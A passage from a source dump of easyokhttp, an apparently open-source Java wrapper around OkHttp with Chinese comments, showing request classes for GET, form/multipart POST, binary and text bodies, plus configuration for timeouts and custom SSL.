response.close();\n                    }\n                } else {\n                    if (!call.isCanceled()) {\n                        call.cancel();\n                    }\n                    finalCb.onError(call, new HttpStatusCodeException(url, response.code(), response.message()));\n                }\n            }\n        });\n    }\n\n    /**\n     * 获取{@linkplain RequestBody}对象\n     *\n     * @return {@linkplain RequestBody}\n     */\n    protected abstract RequestBody generateRequestBody();\n\n    /**\n     * 根据不同的请求方式，将RequestBody转换成Request对象\n     *\n     * @param requestBody 请求体\n     * @return {@link Request}\n     * @see RequestBody\n     */\n    protected abstract Request generateRequest(RequestBody requestBody);\n\n    /**\n     * 执行请求调用\n     *\n     * @param request Request对象\n     * @return {@linkplain Call}\n     */\n    private Call generateCall(Request request) {\n        if (readTimeout == null && connectTimeout == null &&\n                writeTimeout == null && certificateHolder == null) {\n            return HttpClient.Instance.getOkHttpClient().newCall(request);\n        }\n        OkHttpClient.Builder builder = HttpClient.Instance.getOkHttpClientBuilder();\n        if (connectTimeout != null) {\n            builder.connectTimeout(connectTimeout.timeout, connectTimeout.timeUnit);\n        }\n        if (readTimeout != null) {\n            builder.readTimeout(readTimeout.timeout, readTimeout.timeUnit);\n        }\n        if (writeTimeout != null) {\n            builder.writeTimeout(writeTimeout.timeout, writeTimeout.timeUnit);\n        }\n        if (certificateHolder != null) {\n            SSLContexts.SSLConfig sslConfig = SSLContexts.tryParse(certificateHolder.certificates,\n                    certificateHolder.trustManager, certificateHolder.pfxStream, certificateHolder.pfxPwd);\n            builder.sslSocketFactory(sslConfig.getSslSocketFactory(), sslConfig.getX509TrustManager());\n        }\n        return builder.build().newCall(request);\n    }\n\n    void collectHeader(Request.Builder builder, HttpUrl httpUrl) {\n        //加载默认Header\n        Map<String, String> defaultHeaders = HttpClient.Instance.getDefaultHeaders(httpUrl);\n        if (CollectionUtils.isNotEmpty(defaultHeaders)) {\n            for (Map.Entry<String, String> entry : defaultHeaders.entrySet()) {\n                builder.header(entry.getKey(), entry.getValue());\n            }\n        }\n        if (CollectionUtils.isNotEmpty(headers)) {\n            for (Map.Entry<String, String> entry : headers.entrySet()) {\n                builder.header(entry.getKey(), entry.getValue());\n            }\n        }\n    }\n\n    /**\n     * 构建URL地址\n     */\n    String buildUrl() {\n        Assert.hasLength(url, \"Url must not be null.\");\n        StringBuilder sb = new StringBuilder(url);\n        if (url.contains(\"?\")) {\n            sb.append(\"&\");\n        } else {\n            sb.append(\"?\");\n        }\n        if (CollectionUtils.isNotEmpty(queryParams)) {\n            for (Map.Entry<String, List<String>> entry : queryParams.entrySet()) {\n                for (String value : entry.getValue()) {\n                    sb.append(entry.getKey()).append(\"=\")\n                            .append(Utils.urlEncode(value)).append(\"&\");\n                }\n            }\n        }\n        sb.deleteCharAt(sb.length() - 1);\n        return sb.toString();\n    }\n\n    final class CertificateHolder {\n\n        InputStream[] certificates;\n        X509TrustManager trustManager;\n        InputStream pfxStream;\n        char[] pfxPwd;\n\n        CertificateHolder(InputStream[] certificates, X509TrustManager trustManager,\n                          InputStream pfxStream, char[] pfxPwd) {\n            this.certificates = certificates;\n            this.trustManager = trustManager;\n            this.pfxStream = pfxStream;\n            this.pfxPwd = pfxPwd;\n        }\n    }\n\n    final class TimeoutHolder {\n        int timeout;\n        TimeUnit timeUnit;\n\n        TimeoutHolder(int timeout, TimeUnit timeUnit) {\n            this.timeout = timeout;\n            this.timeUnit = timeUnit;\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/BaseBodyHttpRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport okhttp3.HttpUrl;\nimport okhttp3.Request;\nimport okhttp3.RequestBody;\n\n/**\n * POST请求基类\n *\n * @author mzlion  on 2016/12/9.\n */\nabstract class BaseBodyHttpRequest<Req extends HttpRequest<Req>> extends AbsHttpRequest<Req> {\n\n    BaseBodyHttpRequest(String url) {\n        super(url);\n    }\n\n    /**\n     * 根据不同的请求方式，将RequestBody转换成Request对象\n     *\n     * @param requestBody 请求体\n     * @return {@link Request}\n     * @see RequestBody\n     */\n    @Override\n    protected Request generateRequest(RequestBody requestBody) {\n        Request.Builder builder = new Request.Builder();\n        HttpUrl httpUrl = HttpUrl.parse(this.buildUrl());\n        builder.url(httpUrl);\n        this.collectHeader(builder, httpUrl);\n        builder.post(requestBody);\n        return builder.build();\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/BinaryBodyPostRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport com.mzlion.core.http.ContentType;\nimport com.mzlion.core.io.IOUtils;\nimport com.mzlion.core.lang.Assert;\nimport com.mzlion.easyokhttp.utils.Utils;\nimport okhttp3.MediaType;\nimport okhttp3.RequestBody;\n\nimport java.io.*;\n\n/**\n * <p>\n * 2016-05-15 22:33 POST提交二进制流，服务端应该从Request请求体获取二进制流。\n * </p>\n *\n * @author mzlion\n */\npublic class BinaryBodyPostRequest extends BaseBodyHttpRequest<BinaryBodyPostRequest> {\n\n    /**\n     * 二进制流内容\n     */\n    private byte[] content;\n    private MediaType mediaType;\n\n    /**\n     * 默认构造器\n     *\n     * @param url 请求地址\n     */\n    public BinaryBodyPostRequest(String url) {\n        super(url);\n    }\n\n\n    /**\n     * 设置二进制流\n     *\n     * @param inputStream 二进制流\n     * @return {@link BinaryBodyPostRequest}\n     * @see MediaType\n     */\n    public BinaryBodyPostRequest stream(InputStream inputStream) {\n        Assert.notNull(inputStream, \"In must not be null.\");\n        Assert.notNull(mediaType, \"MediaType must not be null.\");\n        try (ByteArrayOutputStream outputStream = new ByteArrayOutputStream()) {\n            if (IOUtils.copy(inputStream, outputStream) == -1) {\n                throw new IOException(\"Copy failed\");\n            }\n            this.content = outputStream.toByteArray();\n        } catch (IOException e) {\n            throw new RuntimeException(\"Reading stream failed->\", e);\n        } finally {\n            IOUtils.closeQuietly(inputStream);\n        }\n        return this;\n    }\n\n    /**\n     * 设置文件，转为文件流\n     *\n     * @param file 文件对象\n     * @return {@link BinaryBodyPostRequest}\n     */\n    public BinaryBodyPostRequest file(File file) {\n        Assert.notNull(file, \"File must not be null.\");\n        String filename = file.getName();\n        MediaType mediaType = Utils.guessMediaType(filename);\n        try {\n            this.stream(new FileInputStream(file));\n            this.mediaType = mediaType;\n            return this;\n        } catch (FileNotFoundException e) {\n            throw new RuntimeException(e);\n        }\n    }\n\n    /**\n     * 设置请求内容类型\n     *\n     * @param contentType 请求内容类型\n     * @return {@link BinaryBodyPostRequest}\n     */\n    public BinaryBodyPostRequest contentType(String contentType) {\n        Assert.hasLength(contentType, \"ContentType must not be null.\");\n        this.mediaType = MediaType.parse(contentType);\n        return this;\n    }\n\n    /**\n     * 设置请求内容类型\n     *\n     * @param contentType 请求内容类型\n     * @return {@link BinaryBodyPostRequest}\n     */\n    public BinaryBodyPostRequest contentType(ContentType contentType) {\n        Assert.notNull(contentType, \"ContentType must not be null.\");\n        this.mediaType = MediaType.parse(contentType.toString());\n        return this;\n    }\n\n    /**\n     * 获取{@linkplain RequestBody}对象\n     */\n    @Override\n    protected RequestBody generateRequestBody() {\n        return RequestBody.create(this.mediaType, this.content);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/GetRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport okhttp3.HttpUrl;\nimport okhttp3.Request;\nimport okhttp3.RequestBody;\n\n/**\n * <p>\n * 2016-04-16 HTTP的GET请求对象\n * </p>\n *\n * @author mzlion\n */\npublic class GetRequest extends AbsHttpRequest<GetRequest> {\n\n    /**\n     * 构造GET请求对象\n     *\n     * @param url 请求的URL地址\n     */\n    public GetRequest(String url) {\n        super(url);\n    }\n\n    /**\n     * 获取{@linkplain RequestBody}对象\n     */\n    @Override\n    protected RequestBody generateRequestBody() {\n        return null;\n    }\n\n    /**\n     * 根据不同的请求方式，将RequestBody转换成Request对象\n     *\n     * @param requestBody 请求体\n     * @return {@link Request}\n     * @see RequestBody\n     */\n    @Override\n    protected Request generateRequest(RequestBody requestBody) {\n        Request.Builder builder = new Request.Builder();\n        HttpUrl httpUrl = HttpUrl.parse(this.buildUrl());\n        builder.url(httpUrl);\n        this.collectHeader(builder, httpUrl);\n        return builder.build();\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/HttpRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport com.mzlion.easyokhttp.response.HttpResponse;\nimport com.mzlion.easyokhttp.response.callback.Callback;\n\nimport javax.net.ssl.X509TrustManager;\nimport java.io.InputStream;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 2016-04-16 构建HTTP的请求对象,接口中的大部分方法均返回接口本身便于链式写法.\n * </p>\n *\n * @author mzlion\n */\npublic interface HttpRequest<Req extends HttpRequest<Req>> {\n\n    /**\n     * 设置请求地址\n     *\n     * @param url 请求地址\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req url(String url);\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param name  参数名\n     * @param value 参数值\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req queryString(String name, Number value);\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param name  参数名\n     * @param value 参数值\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req queryString(String name, String value);\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param name    参数名\n     * @param value   参数值\n     * @param replace 值为[@code true}则替换\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req queryString(String name, String value, boolean replace);\n\n    /**\n     * 为url地址设置请求参数，即url?username=admin&nbsp;pwd=123\n     *\n     * @param parameters 参数对\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req queryString(Map<String, String> parameters);\n\n    /**\n     * 添加请求头信息\n     *\n     * @param key   请求头键名\n     * @param value 请求头值\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req header(String key, String value);\n\n    /**\n     * 从请求头中移除键值\n     *\n     * @param key 请求头键名\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req removeHeader(String key);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独连接超时时间。调用此方法会重新创建{@linkplain okhttp3.OkHttpClient}。\n     *\n     * @param connectTimeout 连接超时时间\n     * @param timeUnit       超时时间单位\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req connectTimeout(int connectTimeout, TimeUnit timeUnit);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独连接超时时间。调用此方法会重新创建{@linkplain okhttp3.OkHttpClient}。\n     *\n     * @param connectTimeout 连接超时时间,单位秒\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req connectTimeout(int connectTimeout);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独读取流超时。\n     *\n     * @param readTimeout 流读取超时时间\n     * @param timeUnit    超时时间单位\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req readTimeout(int readTimeout, TimeUnit timeUnit);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独读取流超时。\n     *\n     * @param readTimeout 流读取超时时间,单位秒\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req readTimeout(int readTimeout);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独写入流超时。\n     *\n     * @param writeTimeout 流写入超时时间\n     * @param timeUnit     超时时间单位\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req writeTimeout(int writeTimeout, TimeUnit timeUnit);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置单独写入流超时。\n     *\n     * @param writeTimeout 流写入超时时间,单位秒\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req writeTimeout(int writeTimeout);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置SSL单向认证\n     *\n     * @param certificates SSL证书文件\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req customSSL(InputStream... certificates);\n\n    /**\n     * 为构建本次{@linkplain HttpRequest}设置SSL单向认证\n     *\n     * @param trustManager 证书管理器\n     * @return 返回当前类{@linkplain Req}的对象自己\n     */\n    Req customSSL(X509TrustManager trustManager);\n\n    /**\n     * SSL双向认证\n     *\n     * @param pfxStream    客户端证书，支持P12的证书\n     * @param pfxPwd       客户端证书密码\n     * @param certificates 含有服务端公钥的证书\n     * @return {@link Req}\n     */\n    Req customSSL(InputStream pfxStream, char[] pfxPwd, InputStream... certificates);\n\n    /**\n     * SSL双向认证\n     *\n     * @param pfxStream    客户端证书，支持P12的证书\n     * @param pfxPwd       客户端证书密码\n     * @param trustManager 证书管理器\n     * @return {@link Req}\n     */\n    Req customSSL(InputStream pfxStream, char[] pfxPwd, X509TrustManager trustManager);\n\n    /**\n     * 执行HTTP请求,获取响应结果\n     *\n     * @return 将响应结果转为具体的JavaBean\n     */\n    HttpResponse execute();\n\n    /**\n     * 异步执行HTTP请求，\n     *\n     * @param callback 回调接口\n     * @param <E>      数据类型\n     */\n    <E> void execute(Callback<E> callback);\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/PostRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport com.mzlion.core.lang.CollectionUtils;\nimport com.mzlion.core.lang.StringUtils;\nimport com.mzlion.easyokhttp.http.FileWrapper;\nimport okhttp3.FormBody;\nimport okhttp3.MultipartBody;\nimport okhttp3.RequestBody;\n\nimport java.io.File;\nimport java.io.InputStream;\nimport java.util.LinkedHashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * 实现表单提交\n *\n * @author mzlion on 2016/12/8.\n */\npublic class PostRequest extends BaseBodyHttpRequest<PostRequest> {\n\n    private boolean isMultipart;\n\n    private Map<String, List<String>> formParams;\n    private Map<String, List<FileWrapper>> fileParams;\n\n    public PostRequest(String url) {\n        super(url);\n        this.formParams = new LinkedHashMap<>();\n        this.fileParams = new LinkedHashMap<>();\n    }\n\n    /**\n     * 获取{@linkplain RequestBody}对象\n     *\n     * @return {@linkplain RequestBody}\n     */\n    @Override\n    protected RequestBody generateRequestBody() {\n        if (CollectionUtils.isEmpty(this.fileParams) && !this.isMultipart) {\n            FormBody.Builder builder = new FormBody.Builder();\n            if (CollectionUtils.isNotEmpty(this.formParams)) {\n                for (Map.Entry<String, List<String>> entry : this.formParams.entrySet()) {\n//                    if (CollectionUtils.isEmpty())\n                    for (String value : entry.getValue()) {\n                        builder.add(entry.getKey(), value);\n                    }\n                }\n            }\n            return builder.build();\n        }\n\n        MultipartBody.Builder builder = new MultipartBody.Builder();\n        builder.setType(MultipartBody.FORM);\n        if (CollectionUtils.isNotEmpty(this.formParams)) {\n            for (Map.Entry<String, List<String>> entry : this.formParams.entrySet()) {\n                for (String value : entry.getValue()) {\n                    builder.addFormDataPart(entry.getKey(), value);\n                }\n            }\n        }\n        if (CollectionUtils.isNotEmpty(this.fileParams)) {\n            for (Map.Entry<String, List<FileWrapper>> entry : this.fileParams.entrySet()) {\n                for (FileWrapper fileWrapper : entry.getValue()) {\n                    builder.addFormDataPart(entry.getKey(), fileWrapper.getFilename(), fileWrapper.requestBody());\n                }\n            }\n        }\n        return builder.build();\n    }\n\n    /**\n     * 是否强制开启文件上传(multipart/form-data)，如果框架检测到有文件上传则该方法设置无效\n     *\n     * @param isMultipart 如果值为{@code true}则开启，否则关闭\n     * @return {@link RequestBody}\n     */\n    public PostRequest isMultipart(boolean isMultipart) {\n        this.isMultipart = isMultipart;\n        return this;\n    }\n\n\n    /**\n     * 设置提交的请求参数及其值\n     *\n     * @param name  参数名\n     * @param value 参数值\n     * @return {@linkplain PostRequest}\n     */\n    public PostRequest param(String name, String value) {\n        return this.param(name, value, false);\n    }\n\n    /**\n     * 设置提交的请求参数及其值\n     *\n     * @param name    参数名\n     * @param value   参数值\n     * @param replace 值为[@code true}则替换处理\n     * @return {@linkplain PostRequest}\n     */\n    public PostRequest param(String name, String value, boolean replace) {\n        //Assert.hasLength(name, \"Name may not be null or empty.\");\n        if (StringUtils.isEmpty(name)) {\n            logger.debug(\" ===> The parameter[name] is null or empty.\");\n            return this;\n        }\n        if (!replace && value == null) {\n            logger.warn(\" ===> The value is null,ignore:name={},value=null\", name);\n            return this;\n        }\n        List<String> valueList = this.formParams.get(name);\n        if (valueList == null) {\n            valueList = new LinkedList<>();\n            this.formParams.put(name, valueList);\n        }\n        if (replace) {\n            valueList.clear();\n        }\n\n        valueList.add(value);\n        return this;\n    }\n\n    /**\n     * 设置提交的请求参数及其值\n     *\n     * @param parameters 键值对列表\n     * @return {@linkplain PostRequest}\n     */\n    public PostRequest param(Map<String, String> parameters) {\n        //Assert.notEmpty(parameters, \"Parameters may not be null.\");\n        if (CollectionUtils.isEmpty(parameters)) {\n            logger.debug(\" ===> The parameter[parameters] is null or empty.\");\n            return this;\n        }\n        for (Map.Entry<String, String> entry : parameters.entrySet()) {\n            this.param(entry.getKey(), entry.getValue(), false);\n        }\n        return this;\n    }\n\n    /**\n     * 设置提交的文件\n     *\n     * @param name       参数名\n     * @param uploadFile 上传的文件\n     * @return {@linkplain PostRequest}\n     */\n    public PostRequest param(String name, File uploadFile) {\n        return this.param(name, uploadFile, uploadFile.getName());\n    }\n\n    /**\n     * 设置提交的文件\n     *\n     * @param name       参数名\n     * @param uploadFile 上传的文件\n     * @param filename   文件名\n     * @return {@linkplain PostRequest}\n     */\n    public PostRequest param(String name, File uploadFile, String filename) {\n        //Assert.hasLength(name, \"Name may not be null.\");\n        //Assert.notNull(uploadFile, \"UploadFile may not be null.\");\n        //Assert.hasLength(filename, \"Filename may not be null or empty.\");\n\n        if (StringUtils.isEmpty(name)) {\n            logger.debug(\" ===> The parameter[name] is null or empty.\");\n            return this;\n        }\n        if (uploadFile == null) {\n            logger.warn(\" ===> The parameter[uploadFile] is null,ignore:name={}.\", name);\n            return this;\n        }\n        if (StringUtils.isEmpty(filename)) {\n            logger.warn(\" ===> The parameter[filename] is null,ignore:name={},uploadFile={}.\", name, uploadFile);\n            return this;\n        }\n        List<FileWrapper> fileWrapperList = this.fileParams.get(name);\n        if (fileWrapperList == null) {\n            fileWrapperList = new LinkedList<>();\n            this.fileParams.put(name, fileWrapperList);\n        }\n        fileWrapperList.add(FileWrapper.create().file(uploadFile).filename(filename).build());\n        return this;\n    }\n\n    /**\n     * 设置提交的文件\n     *\n     * @param name        参数名\n     * @param inputStream 上传数据流\n     * @param streamName  数据流的标识\n     * @return {@linkplain PostRequest}\n     */\n    public PostRequest param(String name, InputStream inputStream, String streamName) {\n        //Assert.hasLength(name, \"Name may not be null.\");\n        //Assert.notNull(inputStream, \"InputStream may not be null.\");\n        //Assert.hasLength(streamName, \"StreamName may not be null.\");\n        if (StringUtils.isEmpty(name)) {\n            logger.debug(\" ===> The parameter[name] is null or empty.\");\n            return this;\n        }\n        if (inputStream == null) {\n            logger.warn(\" ===> The parameter[inputStream] is null,ignore:name={}.\", name);\n            return this;\n        }\n        if (StringUtils.isEmpty(streamName)) {\n            logger.warn(\" ===> The parameter[streamName] is null,ignore:name={},inputStream={}.\", name, inputStream);\n            return this;\n        }\n\n        List<FileWrapper> fileWrapperList = this.fileParams.get(name);\n        if (fileWrapperList == null) {\n            fileWrapperList = new LinkedList<>();\n            this.fileParams.put(name, fileWrapperList);\n        }\n        fileWrapperList.add(FileWrapper.create().stream(inputStream).filename(streamName).build());\n        return this;\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/request/TextBodyRequest.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.request;\n\nimport com.mzlion.core.json.gson.JsonUtil;\nimport com.mzlion.core.lang.Assert;\nimport okhttp3.MediaType;\nimport okhttp3.RequestBody;\n\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * <p>\n * 提交文本字符串，服务端应该从Request请求体获取文本字符串。\n * </p>\n *\n * @author mzlion\n */\npublic class TextBodyRequest extends BaseBodyHttpRequest<TextBodyRequest> {\n\n    private String content;\n    private String _type;\n    private Charset charset;\n\n    /**\n     * 默认构造器\n     *\n     * @param url 请求地址\n     */\n    public TextBodyRequest(String url) {\n        super(url);\n        this.charset = StandardCharsets.UTF_8;\n    }\n\n    /**\n     * POST提交一段j文本内容\n     *\n     * @param text 文本字符串\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest text(String text) {\n        this.content = text == null ? \"\" : text;\n        this._type = \"text/plain\";\n        return this;\n    }\n\n    /**\n     * POST提交一段json字符串\n     *\n     * @param json json字符串\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest json(String json) {\n        Assert.hasLength(json, \"Json may not be null.\");\n        this.content = json;\n        this._type = \"application/json\";\n        return this;\n    }\n\n    /**\n     * POST提交一段json字符串\n     *\n     * @param value Java对象\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest json(Object value) {\n        Assert.notNull(value, \"Value may not be null.\");\n        this.content = JsonUtil.toJson(value);\n        this._type = \"application/json\";\n        return this;\n    }\n\n    /**\n     * POST提交一段xml代码\n     *\n     * @param xml xml字符串\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest xml(String xml) {\n        Assert.hasLength(xml, \"Xml may not be null.\");\n        this.content = xml;\n        this._type = \"application/xml\";\n        return this;\n    }\n\n    /**\n     * POST提交一段html代码\n     *\n     * @param html html字符串\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest html(String html) {\n        Assert.hasLength(html, \"Html may not be null.\");\n        this.content = html;\n        this._type = \"application/html\";\n        return this;\n    }\n\n    /**\n     * POST提交一段javascript代码\n     *\n     * @param javascript 字符串\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest javascript(String javascript) {\n        Assert.hasLength(javascript, \"Javascript may not be null.\");\n        this.content = javascript;\n        this._type = \"application/javascript\";\n        return this;\n    }\n\n    /**\n     * 设置字符集\n     *\n     * @param charset 字符编码\n     * @return {@link TextBodyRequest}\n     */\n    public TextBodyRequest charset(String charset) {\n        Assert.hasLength(charset, \"Charset may not be null.\");\n        this.charset = Charset.forName(charset);\n        return this;\n    }\n\n    /**\n     * 获取{@linkplain RequestBody}对象\n     */\n    @Override\n    protected RequestBody generateRequestBody() {\n        MediaType contentType = MediaType.parse(String.format(\"%s; charset=%s\", this._type, this.charset));\n        return RequestBody.create(contentType, this.content);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_okhttp/src/main/java/com/mzlion/easyokhttp/response/HttpResponse.java",
    "content": "/*\n * Copyright (C) 2016-2017 mzlion(mzllon@qq.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.mzlion.easyokhttp.response;\n\nimport com.mzlion.core.io.IOUtils;\nimport com.mzlion.core.json.TypeRef;\nimport com.mzlion.core.lang.Assert;\nimport com.mzlion.easyokhttp.exception.HttpClientException;\nimport com.mzlion.easyokhttp.exception.HttpStatusCodeException;\nimport com.mzlion.easyokhttp.response.handle.DataHandler;\nimport com.mzlion.easyokhttp.response.handle.FileDataHandler;\nimport com.mzlion.easyokhttp.response.handle.JsonDataHandler;\nimport com.mzlion.easyokhttp.response.handle.StringDataHandler;\nimport okhttp3.Response;\nimport okhttp3.ResponseBody;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.io.Serializable;\n\n/**\n * <p>\n * Http响应结果处理类，通过{@linkplain #isSuccess()}可以得知服务器是否是200返回。\n * 并且该类提供了将结果转为其它对象的便捷方法，该类不再支持重复调用，重复会跑出异常。\n * </p>\n * 当响应结果状态码不是200时，而强制调用某个数据转换方法则会跑出异常{@linkplain HttpStatusCodeException}，\n * 如果项目需要判断Http Status Code来做一些特殊处理，可以捕获这个异常实现自己的逻辑。\n *\n * @author mzlion on 2016/4/17\n * @see DataHandler\n * @see HttpStatusCodeException\n */\npublic class HttpResponse implements Serializable {\n\n    private transient final Response rawResponse;\n\n    /**\n     * 请求是否成功\n     */\n    private boolean isSuccess;\n\n    /**\n     * 请求失败时错误消息\n     */\n    private String errorMessage;\n\n    /**\n     * HTTP Status Code\n     */\n    private int httpCode;\n\n    private byte[] byteData;//cache data\n\n    public HttpResponse(Response rawResponse) {\n        this.rawResponse = rawResponse;\n        try {\n            this.byteData = this.rawResponse.body().bytes();\n        } catch (IOException e) {\n            throw new HttpClientException(e);\n        } finally {\n            IOUtils.closeQuietly(this.rawResponse);\n        }\n    }\n\n    /**\n     * 判断请求是否成功\n     *\n     * @return 成功则[@code true}否则为{@code false}\n     */\n    public boolean isSuccess() {\n        return isSuccess;\n    }\n\n    public void setSuccess(boolean success) {\n        isSuccess = success;\n    }\n\n    /**\n     * 请求失败时错误消息\n     *\n     * @return 失败消息\n     */\n    public String getErrorMessage() {\n        return errorMessage;\n    }\n\n    public void setErrorMessage(String errorMessage) {\n        this.errorMessage = errorMessage;\n    }\n\n    /**\n     * 请求失败时的HTTP Status Code\n     *\n     * @return Http错误码\n     */\n    public int getHttpCode() {\n        return httpCode;\n    }\n\n    public void setHttpCode(int httpCode) {\n        this.httpCode = httpCode;\n    }\n\n    public Response getRawResponse() {\n        if (rawResponse == null) {\n            return rawResponse;\n        }\n        return rawResponse.newBuilder().body(ResponseBody.create(rawResponse.body().contentType(), byteData)).build();\n    }\n\n    /**\n     * 将响应结果转为字符串\n     *\n     * @return 响应结果字符串\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public String asString() {\n        return this.custom(StringDataHandler.create());\n    }\n\n    /**\n     * 将响应结果转为JavaBean对象\n     *\n     * @param targetClass 目标类型\n     * @param <E>         泛型类型\n     * @return JavaBean对象\n     * @throws HttpClientException 如果服务器返回非200则抛出此异常\n     */\n    public <E> E asBean(Class<E> targetClass) {\n        return this.custom(new JsonDataHandler<>(targetClass));\n    }\n\n    /**\n     * 将响应结果转为JavaBean对象\n     * <p>\n     * 用法如下：Map&lt;String,String&gt; data = httpResponse.asBean(new 